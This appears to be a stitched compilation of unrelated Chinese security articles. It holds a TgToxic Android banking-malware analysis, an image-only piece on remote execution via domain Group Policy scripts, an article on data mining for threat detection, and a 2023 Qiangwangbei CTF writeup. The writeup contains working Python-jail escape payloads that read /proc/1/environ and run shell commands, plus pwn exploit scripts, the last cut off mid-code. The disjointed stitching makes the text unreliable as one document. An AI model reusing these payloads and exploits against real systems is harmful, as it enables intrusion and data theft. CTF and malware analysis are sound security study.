TgToxic的技術分析研究人員分析了惡意軟件TgToxic是基於一個名為Eacyclick的合法自動化測試框架開發的,該框架支持通過JavaScript編寫自動化腳本。該腳本可用於自動劫持Android設備的用戶界面(UI),以自動執行諸如監視用戶輸入、執行點擊和手勢等功能。

使用上述框架,TgToxic可以開發自己的自動化腳本,通過竊取受害者放置用戶名和密碼的用戶憑據來劫持加密貨幣錢包和銀行應用程序。一旦獲得了憑證,攻擊者就可以在不需要用戶批准或確認的情況下,使用官方應用程序進行小額交易。與其他銀行惡意軟件一樣,TgToxic還可以通過短信和安裝的應用程序竊取用戶的個人信息,這些信息可以用來通過進一步掃描設備是否存儲了攻擊者感興趣的應用程序來選擇目標受害者。

目前,TgToxic仍在快速發展,並繼續添加新功能,複製更多應用程序以竊取憑據並適應不同的應用程序UI,並從受害者那裡收集更多信息。在這次分析中,研究人員選取了針對泰國移動用戶的最新樣本進行分析。

代碼混淆和有效負載加密TgToxic惡意軟件使用兩種方法來逃避檢測和分析,研究人員將其分為兩部分:

代碼混淆:TgToxic混淆了類名、方法名和字段名,這使得一些分析師更難進行逆向工程。

有效負載加密:TgToxic將Easylick腳本放在一個名為“tg.iapk”的資產文件中,該文件是一個加密的Zip文件,並將在應用程序啟動時動態讀取其中的內容。該惡意軟件實現了一種無文件的方式來解密和加載負載,並在解壓縮後添加了一個額外的邏輯。

5.png

APK結構和有效負載

解密有效負載並濫用輔助功能服務劫持設備UI 6.png

tg.iapk加密過程

正如McAiden的研究人員所指出的,tg.iapk是一個加密的.zip文件。通過靜態分析,研究人員發現解壓密碼經過特殊編碼並存儲在.zip註釋部分,該部分通常用於記錄.zip描述。此部分的內容不會影響壓縮後的內容。要獲得.zip文件的密碼,註釋部分的內容將按照代碼中指定的方式進行解碼。

7.png

Zip密碼解碼功能

解壓縮後,研究人員發現所有文件都是二進製文件,所有文件的前四個字節都是“0x00092383”,這是專門加密的文件。通過反向分析,研究人員找到了解密函數。為了隱藏解密細節,使用反射調用密鑰類和密鑰方法,並加密相關的符號名稱。

8.png

特殊加密文件

9.png

加密文件解密功能

通過分析解密函數,研究人員得到了加密文件的格式。加密文件對密碼進行了編碼,並將其保存在文件的開頭(緊跟魔術數字),同時將加密數據保存在文件末尾。密碼的解碼方式與zip密碼的解碼方法相同。

10.png

特殊加密文件格式

運行時引擎中運行的預編譯腳本自動化腳本被預編譯為Java,並使用Rhino的運行時,Rhino是一個在Java中運行JavaScript的開源引擎。調用函數中的每個開關分支都是一個JavaScript函數,研究人員將解釋代碼如何使用來自惡意軟件的簡單函數運行。

11.png

從一個Javascript函數編譯的Java字節碼

此函數用於收集設備信息並發送到CC服務器。它首先遍歷一個預定義的變量“walletListAry”,其中包含攻擊者感興趣的加密貨幣錢包的包名列表。然後,惡意軟件調用“isAppExist”來檢查應用程序是否在系統中。如果確認,包名稱將被推送到數組中。

然後,惡意軟件以同樣的方式檢查電子郵件應用程序,並創建一個.json對象,其中包含它收集的信息。 “apps”字段包含已安裝的加密貨幣錢包的包名稱,“mails”字段包含安裝的電子郵件應用的包名稱。最後,它調用“JSON.stringify”將.JSON對象序列化為字符串,並調用“emitEnc”通過WebSocket將信息發送到CC服務器。

CC通信和數據洩露惡意軟件使用WebSocket作為腳本執行的CC通道。它將調用“StartWs”連接到WebSocket服務器,然後設置“new_msg”事件偵聽器以接收和解析CC命令。完整的CC命令列表如下所示:

12.1.png

1675926145785857.png

另一個值得注意的細節是,TgToxic將根據受感染設備的地區連接到不同的CC服務器。雖然研究人員仍在繼續跟踪,但除了目前確定的三個國家之外,還沒有在其他地區或國家發現TgToxic活動,但他們認為,這次攻擊背後的攻擊者正試圖根據這些不同服務器的可用性將其活動擴展到其他國家。

13.png

根據設備區域獲取CC主機前綴

數據通過CC通道洩露。以短信竊取為例,惡意軟件首先調用“getSmsInPhone”從郵件收件箱中提取所有短信,然後通過WebSocket CC通道將竊取的數據上傳到服務器。

14.png

提取所有文本消息

自動授予權限和防止卸載TgToxic可以劫持系統應用程序自動授予自己權限,並在受害者試圖卸載惡意軟件時阻止卸載。以下是惡意軟件試圖劫持的系統應用程序及其相應用途的列表:

15.png

惡意軟件試圖控制的系統應用程序列表

控制自動轉賬的金融應用程序TgToxic實施自動轉賬服務(ATS),用戶不知情的情況下向攻擊者轉賬。該惡意軟件首先秘密竊取密碼並解鎖手勢,當它檢測到用戶擁有錢包應用程序時,惡意軟件將檢查特定的活動,並通過密鑰日誌記錄用戶是否輸入密碼。如果用戶用手勢解鎖設備,它還可以截屏。

一旦收到來自CC服務器的“walletSend”命令,惡意軟件就會覆蓋全黑屏幕,以防止受害者意識到惡意活動和傳輸。然後,它打開錢包應用程序並收集鏈類型和余額等詳細信息。然後,TgToxic將通過無障礙服務模擬用戶點擊所有鏈類型的特定收件人:

1.檢查鏈類型是否為“usdt”,並輸入錢包詳細信息;

2.點擊轉移按鈕;

3.輸入接收者地址;

4.輸入轉賬資金;

5.進入轉賬詳情頁面;

6.輸入密碼;

7.點擊“確認”按鈕;

17.png

檢查鏈類型並輸入錢包詳細信息

18.png

輸入被盜的地址信息和收件人的地址

19.png

輸入錢包密碼並確認交易

目標應用程序以下是惡意軟件從中竊取受害者信息的應用程序列表,列表來自針對泰國的最新樣本:

Android設備被攻擊後,惡意軟件從中獲取信息的應用程序列表:

20.1.png

20.2.png

總結儘管部署時間不同,但研究人員發現針對中國台灣、印度尼西亞和泰國的社交媒體網絡釣魚活動和網絡基礎設施類似。當受害者從攻擊者提供的網站下載虛假應用程序時,或受害者試圖通過WhatsApp或Viber等消息應用程序直接向攻擊者發送消息時,攻擊者會欺騙用戶註冊、安裝惡意軟件並啟用其所需的權限。一旦獲得授權,手機就會被攻擊者自動控制,設備中的合法應用程序及其資產將面臨風險。

從分析來看,惡意軟件本身雖不復雜,但很有趣。濫用Easylick和Autojs等合法的自動化框架可以更容易地開發複雜的惡意軟件,特別是對於可以濫用Accessibility服務的Android銀行木馬。框架的複雜性也使逆向工程分析變得困難。由於框架的便利性和反逆向工程設置,未來很有可能有更多的攻擊者可以利用並使用這種方法。

通過對攻擊者的調查,研究人員認為負責這個活動的組織或個人之前並未出現過,但對該地區的目標比較了解,比如繁體和簡體中文用法。研究人員觀察到的一個有趣的細節是,2022年8月,台灣有很多濫用津貼援助主題的騙局。

雖然研究人員也對受害者的部署和企圖有深入了解,但關於當地受害者的實際人數的信息很少。

緩解措施避免安裝來自未知來源和平台的應用程序。不要點擊直接嵌入短信或電子郵件中的應用程序、安裝程序、網站,尤其是來自未知發件人的應用程序;

不要啟用敏感的權限,例如從未知應用程序啟用或下載的輔助功能服務;

還有就是要關註一下攻擊跡象,比如雖然設備未使用,但電池電量消耗很大,這就是危險信號。

0x00 前言在之前的文章《域渗透——利用GPO中的计划任务实现远程执行》 介紹了通過域組策略(Group Policy Object)遠程執行計劃任務的方法,本文將要介紹類似的另外一種方法:通過域組策略(Group Policy Object)的腳本實現遠程執行。

0x01 簡介本文將要介紹以下內容:

通過Group Policy Management Console (GPMC) 實現腳本的遠程執行

通過命令行實現腳本的遠程執行

新建GPO實現遠程執行

修改已有的GPO,實現遠程執行

實現細節

0x02 通過Group Policy Management Console (GPMC) 實現腳本的遠程執行1、創建GPO 1.png 2.png 3.png 4.png 5.png2.配置GPO 6.png 7.png 8.png

0x03 通過命令行實現腳本的遠程執行1.作用於全域9.png 19.png2.作用於指定目標20.png 21.png 22.png

0x04 修改已有的GPO,實現遠程執行23.png 24.png 25.png

0x05 直接執行遠程腳本當我們選擇直接執行組策略文件夾中的bat文件,會彈框提示無法執行,如下圖

26.png

27.png 28.png

0x06 小結本文介紹了通過域組策略(Group Policy Object)中的腳本實現遠程執行的方法,分享實現細節和利用思路。

僅在2021 年,人類就創建、複製和使用了大約74 澤字節(萬億千兆字節)的數據。看起來我們擁有所需的所有數據,但實際上每年都越來越難找到相關信息。幸運的是,數據挖掘等技術可以幫助我們恢復數據的秩序,並利用它來提高我們的網絡安全。

使用數據挖掘技術分析您的數據庫和安全日誌可以幫助您改進對惡意軟件、系統和網絡入侵、內部攻擊以及許多其他安全威脅的檢測。有些技術甚至可以準確預測攻擊並檢測零日威脅。

在本文中,我們研究了關鍵數據挖掘技術以及網絡和端點安全中數據挖掘的五個用例。這篇文章對於開發網絡安全軟件並希望提高其威脅檢測能力的團隊很有用。

網絡安全中的數據挖掘:過程、優點和缺點什麼是數據挖掘?數據挖掘是分析信息、發現新模式和數據以及預測未來趨勢的過程。它經常用於科學研究、業務開發、客戶關係和其他領域。

雖然術語數據挖掘通常被視為數據庫中知識發現(KDD)的同義詞,但它實際上只是KDD 過程中的步驟之一。 KDD 的主要目標是從大量數據中獲取有用且通常是以前未知的信息。整個KDD流程包括四個步驟:

image.png

數據庫中知識發現的4 個步驟

KDD 廣泛應用於任何可以從海量數據分析中獲益的領域:科學研究、商業分析、營銷研究等。它還被網絡犯罪分子用來尋找新的攻擊方式,並被網絡安全專業人員用來檢測和阻止這些新的攻擊。

結合數據挖掘和網絡安全可以確定網絡攻擊的特徵並改進攻擊檢測過程。為了獲得有價值的知識,數據挖掘使用了來自統計學、機器學習(ML)、人工智能(AI) 和數據庫系統的方法。

數據挖掘可幫助您快速分析龐大的數據集並自動發現隱藏的模式,這對於創建能夠檢測以前未知威脅的有效反惡意軟件解決方案至關重要。但是,使用數據挖掘方法的最終結果始終取決於您使用的數據質量。

依靠數據挖掘來改進保護有其自身的優點和缺點。讓我們來看看它們:

image.png

這些是出於網絡安全目的而挖掘數據的一般利弊。除此之外,每種數據挖掘技術都有自己的優勢、局限性和特定的用例。讓我們來看看網絡安全的六種關鍵數據挖掘方法。

6 大關鍵數據挖掘技術您可以使用預測或描述技術來挖掘數據庫。說明性技術根據過去的事件進行預測,而描述性技術側重於對現有數據庫的分析和構建。

讓我們來看看網絡安全的六種關鍵數據挖掘技術:

image.png

挖掘網絡安全數據的技術

分類此技術通過將大型數據集分解為預定義的類、概念和變量組來創建數據庫模型。您還可以使用它來分析構建模型後添加到數據庫中的變量,並為它們分配相應的類。為了實現準確的實時分類,您需要非常注意算法的監督訓練以及測試其工作原理。在網絡安全中,分類通常用於檢測垃圾郵件和網絡釣魚電子郵件。

回歸分析這些算法根據數據集中其他變量的已知平均值來預測一個變量的變化值。使用此技術,您可以在數據庫中建立因變量和自變量之間的關係模型。分析變量的變化並將這些變化與因變量進行比較可以幫助您確定變化的原因以及一個變量對另一個變量的影響。回歸分析廣泛用於預測趨勢和事件,包括可能的網絡攻擊。

時間序列分析這些算法通過分析數據庫中任何數據條目更改的時間來發現和預測基於時間的模式。這種技術對於通過挖掘多年數據庫來深入了解各種週期性活動特別有用。您可以依靠時間序列分析來預測在特定事件、季節甚至一天中的某個時間發生的安全漏洞和攻擊。

關聯規則分析這是最廣泛的數據挖掘算法之一。關聯規則分析可以幫助您發現數據庫中頻繁一起出現的變量之間可能存在的關係,並發現隱藏的模式。您可以應用此技術來分析和預測用戶行為、檢查網絡流量以及定義網絡攻擊模式。安全人員經常使用關聯規則分析來研究攻擊者的行為和思維方式。

聚類聚類有助於識別具有共同特徵的數據項並了解變量的異同。它類似於分類,但聚類不能實時對變量進行排序。此技術只能幫助您構建和分析現有數據庫。與分類相比,聚類允許在模型中進行更改並創建子集群,而無需重新設計所有算法。

總結這種數據挖掘技術側重於編譯數據集、類和集群的簡要描述。摘要可以幫助您更好地了解數據集的內容和數據挖掘過程的結果,因為它可以掌握數據的本質並消除手動挖掘數據的需要。在網絡安全解決方案中,匯總主要用於生成報告和可視化日誌。

請記住,這些數據挖掘技術中的每一種都可以通過ML 和AI 算法得到增強。這些尖端技術可以幫助您發現更多隱藏的模式並提高預測的準確性。然而,將ML 和AI 添加到網絡安全解決方案中肯定會增加其開發和維護的複雜性。

接下來,我們將仔細研究特定用例,展示如何將數據挖掘用於網絡安全解決方案。

網絡安全中的數據挖掘用例您可以將數據挖掘應用於任何數據庫,並根據您想要實現的任何目標對其進行調整。在網絡安全領域,挖掘算法通常有助於發現可能表明安全事件的異常數據記錄和事件。

以下是數據挖掘在計算機安全領域最常見的五種應用:

image.png

1.惡意軟件檢測在構建安全軟件時,開發人員使用數據挖掘方法來提高惡意軟件檢測的速度和質量,以及檢測零日攻擊。

檢測惡意軟件的策略有以下三種:

image.png

惡意軟件檢測策略

異常檢測涉及對系統或網絡的正常行為進行建模,以識別與正常活動模式的偏差。基於異常的技術甚至可以檢測到以前未知的攻擊,並可用於定義濫用檢測器的簽名。

但是,異常檢測甚至可以報告偏離規範的合法活動,從而產生誤報。

誤用檢測,也稱為基於簽名的檢測,僅根據簽名示例識別已知攻擊。這種技術的誤報率較低,但無法檢測到零日攻擊。

混合方法結合了異常和濫用檢測技術,以增加檢測到的入侵數量,同時減少誤報數量。混合檢測算法不構建任何模型。相反,他們使用來自惡意軟件和合法程序的信息來創建分類器,這是一組規則或由數據挖掘算法生成的檢測模型。然後系統的異常檢測部分搜索與正常配置文件的偏差,系統的誤用檢測部分查找代碼中的惡意軟件簽名。

無論您選擇哪種策略,惡意軟件檢測系統的開發都包括兩個步驟:

image.png

惡意軟件檢測過程

首先,數據挖掘算法從API 調用、n-gram、二進製字符串、程序行為和其他事件的記錄中提取惡意軟件特徵。您可以應用靜態、動態或混合分析來從可能不安全的文件中提取惡意軟件特徵。

在分類聚類的過程中,可以使用相應的技術,根據特徵分析對文件樣本進行分組。此時,您需要使用RIPPER、決策樹、人工神經網絡、樸素貝葉斯或支持向量機等分類算法構建分類器。

使用ML 技術,每個分類算法都會構建一個模型來表示良性和惡意類。使用此類文件樣本集合訓練分類器使您甚至可以檢測新發布的惡意軟件。

2.入侵檢測攻擊者可以通過組織的網絡、數據庫、服務器、Web 客戶端和操作系統執行惡意入侵。使用數據挖掘技術,您可以分析審計結果並識別異常模式。因此,您可以檢測入侵、網絡和系統掃描、拒絕服務和滲透攻擊。

數據挖掘方法對於檢測這些類型的入侵特別有效:

image.png

通過數據挖掘檢測入侵

要檢測基於主機的攻擊,您的網絡安全軟件需要分析從程序中提取的特徵。檢測基於網絡的攻擊需要這樣的解決方案來分析網絡流量。與惡意軟件檢測一樣,您可以查找異常行為或濫用案例。

入侵檢測系統通常基於分類、聚類和關聯規則技術。這些技術允許從數據庫中提取攻擊特徵,將它們系統化,並標記任何具有相同特徵的新記錄。您可以在此處使用的一些算法包括回歸和決策樹、貝葉斯網絡、k 最近鄰、學習自動機和層次聚類。

您還可以向入侵檢測系統添加預測功能。分類和時間序列分析等技術可以計算未來入侵的可能性。使用AI 算法可以更輕鬆地檢測隱藏的或以前未知的可疑活動。

3.欺詐檢測檢測欺詐具有挑戰性,因為欺詐活動通常很隱蔽,而且網絡犯罪分子不斷發明新的欺詐模式。

利用機器學習的數據挖掘技術可以發現多種類型的欺詐行為,從金融欺詐到電信欺詐和計算機入侵。 ML 對於欺詐檢測特別有用,因為它可以:

擴展以考慮數據庫數量和復雜性的變化

學習檢測和預測新型欺詐

準確計算欺詐活動的概率

您可以使用監督和非監督ML 算法來檢測欺詐。

通過監督學習,所有可用記錄都被歸類為欺詐或非欺詐。然後使用此分類來訓練模型以檢測可能的欺詐行為。這種方法的主要缺點是無法檢測新型攻擊。

無監督學習方法從未標記的記錄中學習欺詐模式。他們為欺詐活動創建自己的分類和特徵描述。無監督學習有助於在不使用統計分析的情況下識別數據中的隱私和安全問題。它還能夠分析和檢測新型欺詐。

4.威脅情報收集有關網絡安全威脅的證據通常分散在組織的網絡中。這些記錄可用於形成訓練數據集、構建挖掘模型並提高預測準確性。但挑戰在於在數TB 的記錄中找到相關數據。

數據挖掘算法有助於發現此類隱藏數據並將其轉換為結構化的威脅情報數據庫。您可以使用聚類、關聯規則和匯總技術來發現這些類型的智能:

image.png

安全威脅情報的類型

數據挖掘通常僅用於威脅情報的第一階段:發現和構建數據。之後,網絡安全專家必須手動審查發現的數據並決定如何對其採取行動。但是,您也可以使用數據挖掘技術構建一個基於機器學習的框架來收集和處理數據。

5. 內部威脅檢測與預測內部威脅是可能對組織造成傷害的合法用戶的活動。檢測內部威脅活動通常是一項棘手的任務,因為這些行為通常看起來與普通用戶活動相似,或者它們可以被故意隱藏在威脅檢測機制之外。

由於大數據算法可以檢測機器和人類用戶的異常行為,因此它們被廣泛用於檢測和預測內部威脅。與入侵檢測系統類似,內部威脅檢測系統基於識別合法和威脅行為的特徵。

有多種基於機器學習的分類和聚類算法,包括有監督和無監督的,有助於檢測內部威脅。此外,您還可以根據數據挖掘原理訓練深度神經網絡,以檢查網絡安全日誌並實時檢測可能的內部活動。

結論可靠、相關且結構良好的數據是幾乎所有網絡安全解決方案的基礎。雖然組織每天都會生成大量數據,但手動收集和處理所有這些數據以應對網絡安全威脅是不可能的。

數據挖掘技術可以幫助您識別任何惡意活動的特徵,甚至可以預測可能的攻擊。它們在收集威脅情報和檢測惡意軟件、入侵、欺詐和內部攻擊方面特別有效。通過數據挖掘增強保護的主要好處是能夠識別已知攻擊和零日攻擊。

MISC

easyfuzz

1、通过尝试输入字符串判断该程序对输入字符的验证规则为9位字符,并且只要满足输入正确字符使最后返回值全部为111111111即可得flag

4yprmgcvx5m13362.jpg

继续大胆猜测并尝试,发现前两位字符可以为任何字符,都满足110000000,由此可以对后七位字符进行爆破

44cm5q3iitg13365.png

2、逐位爆破,验证思路正确,最后一位为字符串"d"

ljqkzfnsk2213367.png

3、编写爆破脚本,当字符串长度为9位并输入时,将回显不为“Here is your code coverage: 110000000”的结果打印,脚本如下

from pwn import *
from string import printable
conn = remote('101.200.122.251', 12199)
non_matching_strings = []
for i in range(9):
    for char in printable:
        payload = 'a'*i + char + 'a'*(8-i)
        print(conn.recvuntil(b'Enter a string (should be less than 10 bytes):'))
        conn.sendline(payload.encode())
        response = conn.recvline().decode().strip()
        if response != "Here is your code coverage: 110000000":
            non_matching_strings.append(payload)
for string in non_matching_strings:
    print(string)

FLAG:qwb{YouKnowHowToFuzz!}

签到

flag{welcome_to_qwb_2023}

Pyjail ! It's myFILTER !!!

Python沙箱逃逸闭合之后open直接读environ得到flag

{13212}'+(print(open('/proc/1/environ').read()))+'
 或者使用payload:
{print(open("/proc/1/environ").read())}
va31501o1xh13369.jpg lgnj51xzwlo13371.jpg
flag{61e81b4f-566c-49f5-84dd-d79319fddc82}

Pyjail ! It's myRevenge !!!

Python沙箱逃逸

用write写文件import os;os.system(“nl fl* >hzy”)执行之后再用read读取执行内容得到flag

过滤字符全用八进制绕过,分段写

{13212}'+(open('wsy', "a").write('151155160157162'))+'{13212}'+(open('wsy', "a").write('t 157'))+'{13212}'+(open('wsy', "a").write('163;157'))+'{13212}'+(open('wsy', "a").write('163.'))+'{13212}'+(open('wsy', "a").write('163y'))+'{13212}'+(open('wsy', "a").write('st'))+'{13212}'+(open('wsy', "a").write('em("nl 146*>hzy")'))+'{13212}'+open('143157de.py','w').write(open('wsy').read())+'{13212}'+(print(open('hzy').read()))+'
或者依次执行下面poc:
{globals().update(dict(my_filter=lambda x:1))}''{in''put()}'#
{globals().update(dict(len=lambda x:0))}''{in''put()}'#
{print("".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__["__builtins__"]["__import__"]("os").listdir())}
['flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104', 'server_8F6C72124774022B.py']
{globals().update(dict(my_filter=lambda x:1))}''{in' 'put()}'# 
{globals(). update(dict(len=lambda x:0))}''{in' 'put()}'#
{print (open("flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104"). read())}
3j1v1vidnps13373.jpg  
flag{8f0a4ac2-52d3-4adb-a1a3-47e05997817d}

Wabby Wabbo Radio

f12可以拿到wav的链接/static/audios/xh4.wav

yw2feqxv3hm13375.jpg

重新刷新了一下发现是随机选取播放的

fuzz了一下总共有xh1-xh5和hint1-hint2以及flag.wav

每一个wav的左声道显然是莫斯

 

i0lif3ws5pu13378.jpg

 

分离声道,增幅,在线网站解一下

https://morsecode.world/international/decoder/audio-decoder-adaptive.html

得到:

Do you want a flag? Let's listen a little longer.Genshin Impact starts.The weather is really nice today. It's a great day to listen to the Wabby Wabbo radio.If you don't know how to do it, you can go ahead and do something else first.may be flag is png picturedo you know QAM?

其他都没啥用,就一个提示了QAM载波幅度

https://info.support.huawei.com/info-finder/encyclopedia/zh/QAM.html#Qam的星座图

简单了解了一下发现可以通过振幅来区分01,尝试打印了一下振幅,发现刚好都是集中在±1,±3之间

biay4wxsvvf13380.jpg

对比16QAM的星座图可以发现振幅拼一起刚好能起到一个信号的对应关系,但是不知道具体的对应关系是啥,直接盲猜一手从小到大,

简单的脚本如下:

import scipy.io.wavfile as wav
import numpy as np
import sys

sample_rate, data = wav.read("flag.wav")
for i in data:
    print(i)
flag=''
def repla(n):
    if n == -3:
        return '00'
    elif n == -1:
        return '01'
    elif n == 1:
        return '10'
    elif n == 3:
        return '11'

for x, y in data:
    n1 = round(float(x))
    n2 = round(float(y))
    flag += repla(n1)
    flag += repla(n2)

print(flag)

eiw1dnn4tdc13382.jpg

谍影重重3.0

给了hint:纸飞机他也是飞机,也能飞出国境抵达大洋彼岸,结合题目描述特殊隧道很容易联想到是vpn

稍微搜一下就可以得到是Shadowsks,参考文章:

https://phuker.github.io/posts/Shadowsks-active-probing.html

给出了完整解密脚本,但是不知道key,直接爆破一下,用HTTP当作请求成功的标识

#!/usr/bin/env python3
# encoding: utf-8

import os
import sys
import logging
import hashlib

from Crypto.Cipher import AES

logging.basicConfig(level=logging.INFO)


def EVP_BytesToKey(password, key_len, iv_len):
    m = []
    i = 0
    while len(b''.join(m)) < (key_len + iv_len):
        md5 = hashlib.md5()
        data = password
        if i > 0:
            data = m[i - 1] + password
        md5.update(data)
        m.append(md5.digest())
        i += 1
    ms = b''.join(m)
    key = ms[:key_len]
    iv = ms[key_len:key_len + iv_len]

    return key, iv

def decrypt(cipher,password):
    key_len = int(256/8)
    iv_len = 16
    mode = AES.MODE_CFB

    key, _ = EVP_BytesToKey(password, key_len, iv_len)
    cipher = bytes.fromhex(cipher)
    iv = cipher[:iv_len]
    real_cipher = cipher[iv_len:]

    obj = AES.new(key, mode, iv, segment_size=128)
    plain = obj.decrypt(real_cipher)

    return plain


def main():
    # test http request
    cipher = 'e0a77dfafb6948728ef45033116b34fc855e7ac8570caed829ca9b4c32c2f6f79184e333445c6027e18a6b53253dca03c6c464b8289cb7a16aa1766e6a0325ee842f9a766b81039fe50c5da12dfaa89eacce17b11ba9748899b49b071851040245fa5ea1312180def3d7c0f5af6973433544a8a342e8fcd2b1759086ead124e39a8b3e2f6dc5d56ad7e8548569eae98ec363f87930d4af80e984d0103036a91be4ad76f0cfb00206'

    with open('rockyou.txt','rb') as f:
        lines = f.readlines()
    for password in lines:
        plain = decrypt(cipher,password.strip())
        if b'HTTP' in plain:
            print(password,plain)

if __name__ == "__main__":
    main()

#b'superman\n' b'\x03\x0f192.168.159.131\x00PGET /Why-do-you-want-to-know-what-this-is HTTP/1.1\r\nHost: 192.168.159.131\r\nUser-Agent: curl/8.4.0\r\nAccept: */*\r\nConnection: close\r\n\r\n'

得到文件名为Why-do-you-want-to-know-what-this-is,md5后得到flag

flag{dc7e57298e65949102c17596f1934a97}

谍影重重2.0

根据题目描述飞机流量可以很容易联想到ADS-B协议

导出tcp流数据

tshark -r attach.pcapng -Y "tcp" -T fields -e tcp.segment_data > tcp.txt

解析脚本:

import pyModeS

with open('tcp.txt','r')as f:
    lines = f.readlines()
for data in lines:
    if len(data)==47:
        print(pyModeS.decoder.tell(data[18:]))

筛选一下Airborne velocity ,得到79a05e的飞机速度最快为371 knots,md5 ICAO address为flag

kter5lg30pv13383.jpg
或者

将数据包导出为json格式

 

szb5gys4xfa13385.png

 

使用脚本提取字段并进行MD5

import json
import pyModeS as pms
import hashlib
 
with open('123.json', 'r', encoding='utf-8') as file:
    data = json.load(file)
 
info = []
for packet in data:
    if 'layers' in packet['_source'] and 'tcp' in packet['_source']['layers']:
        tcp_layer = packet['_source']['layers']['tcp']
 
        if 'tcp.payload' in tcp_layer:
            tcp_payload = tcp_layer['tcp.payload'].replace(':','')
            info.append(tcp_payload)
 
planes_data = []
 
for i in info:
    msg = i[18:]
    if pms.adsb.typecode(msg) >= 19 and pms.adsb.typecode(msg) <= 22:
        icao = pms.adsb.icao(msg)
        velocity_info = pms.adsb.velocity(msg)
        speed, track, vertical_rate, _ = velocity_info
 
        plane_info = {"icao": icao, "speed": speed, "track": track, "vertical_rate": vertical_rate}
        planes_data.append(plane_info)
 
fastest_plane = max(planes_data, key=lambda x: x['speed'])
print(hashlib.md5(fastest_plane['icao'].upper().encode()).hexdigest())
#flag{4cf6729b9bc05686a79c1620b0b1967b}

happy chess

应该是非预期,随便输入9个任意位置直接exit掉该轮就算成功了

gk2hbpedrhk13387.jpg  

强网先锋

speedup

纯社工题,要求2的27次方的阶乘的逐位之和,OEIS上直接有这一个值了

https://oeis.org/A244060/list

2023 强网杯 writeup by Arr3stY0u

sha256后得到flag

flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797}

找到PNG了吗

strings main.mem | grep "Linux version"
f5fr5onn5ke13392.jpg

拿到内核版本后照着

https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test/

做个linux的profile

python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -L | findstr "Desktop"

桌面上能找到个文件have_your_fun.jocker

xpcagh5qxcl13394.jpg

尝试导出,但为空

python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -i 0xffff9ce28fe300e8 -Ohave_your_fun.jocker

不知道如何恢复,直接尝试全局搜一下文件名

找到一个加密脚本,简单的两次rc4加密,key都给了

根据题目需要找png,可以猜测have_your_fun.jocker就是加密后的png

2023 强网杯 writeup by Arr3stY0u

直接加密一下png头

2023 强网杯 writeup by Arr3stY0u

可以直接定位到内存中残留的have_your_fun.jocker位置

2023 强网杯 writeup by Arr3stY0u

直接解密得到flag图

2023 强网杯 writeup by Arr3stY0u

flag{It's_So_Hard_To_Find_A_Picture}

trie

题目分析

–在构建路由表使用了字典树数据结构,每次遇到新ip会插入分支,并且其节点值赋值为tot

–查询时也是查找该字典树,取节点的tot为索引,打印四字节end[tot]

思路分析

–在add时使用完tot之后没有归零,导致在view时读取溢出部分数据(能够读取到secret上的flag),每次读取逆序4字节,将ascii码转成对应字符拼接即可。

–同时为了获取完整flag,每次需要使得search函数里查询得到的tot索引+1,为此需要构造一颗子树,使其空出若干个叶子,(每空出一个叶子即可打印4字节flag)

–我构造了一个空出9个叶子的节点,其中包含一个填充的(目的是使得tot至少为0x40)

2023 强网杯 writeup by Arr3stY0u

exp

 #!/usr/bin/env python3

from pwncli import *

cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
context.arch = "amd64"


def add(des, next):
    io.recvuntil(b"4. Quit.")
    io.sendline(b"1")
    io.recvuntil(b"Input destination IP:")
    io.sendline(des)
    io.recvuntil(b"Input the next hop:")
    io.sendline(next)


def show(des):
    io.recvuntil(b"4. Quit.")
    io.sendline(b"2")
    io.recvuntil(b"Input destination IP:")
    io.sendline(des)


def get_flag():
    io.recvuntil(b"4. Quit.")
    io.sendline(b"3")


def leak(data):
    add(str(data).encode() + b".0.0.0", b"0.0.0.0")
    get_flag()
    show(str(data).encode() + b".0.0.0")
    io.recvuntil(b"The next hop is ")
    info = io.recvuntil(b"\n", drop=True)
    parts = info.split(b".")
    parts = parts[::-1]
    ascii_values = [chr(int(part)) for part in parts]
    ascii_values = "".join(ascii_values)
    flag = ascii_values
    return flag


add("0.0.0.0", "0.0.0.0")  # 32
add("64.0.0.0", "0.0.0.0")  # 2
add("32.0.0.0", "0.0.0.0")  # 3
add("96.0.0.0", "0.0.0.0")  # 2
add("16.0.0.0", "0.0.0.0")  # 4
add("80.0.0.0", "0.0.0.0")  # 2
add("48.0.0.0", "0.0.0.0")  # 3
add("112.0.0.0", "0.0.0.0")  # 2
add("0.4.0.0", "0.0.0.0")  # 14

flag = ""
get_flag()
show(b"0.4.0.0")  # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"\n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)

flag += leak(128)
log.success(flag)

flag += leak(192)
log.success(flag)

flag += leak(160)
log.success(flag)

flag += leak(144)
log.success(flag)

flag += leak(208)
log.success(flag)

flag += leak(176)
log.success(flag)

flag += leak(240)
log.success(flag)

flag += leak(224)
log.success(flag)

add(b"128.4.0.0", b"0.0.0.0")
get_flag()
show(b"128.4.0.0")  # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"\n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)
io.interactive()

2023 强网杯 writeup by Arr3stY0u

ez_fmt

格式化字符串打printf的返回地址为csu的部分gadget,然后执行跳转magic_read(0x401205)执行rop链。

#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2023-12-16 13:34:34
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

ru('There is a gift for you ')
leak_stack  = int(rl()[:-1],16)
leak_ex2(leak_stack)


attack_stack = leak_stack - 0x8
pd = flat(
    {
